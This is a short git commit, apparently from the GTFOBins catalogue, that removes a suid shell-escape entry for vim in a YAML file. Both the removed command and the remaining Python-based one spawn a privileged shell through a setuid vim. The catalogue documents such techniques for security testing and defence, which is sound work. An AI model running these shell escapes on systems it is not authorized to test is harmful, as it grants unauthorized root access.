Remove suid from vim

This commit is contained in:
Emilio Pinna 2018-12-18 14:28:09 +01:00
parent 4910c32409
commit d3ef67aa3a

View File

@ -17,7 +17,6 @@ functions:
file-read: file-read:
- code: vim file_to_read - code: vim file_to_read
suid: suid:
- code: ./vim -c ':!/bin/sh -p'
- description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3. - description: This requires that `vim` is compiled with Python support. Prepend `:py3` for Python 3.
code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' code: ./vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
sudo: sudo: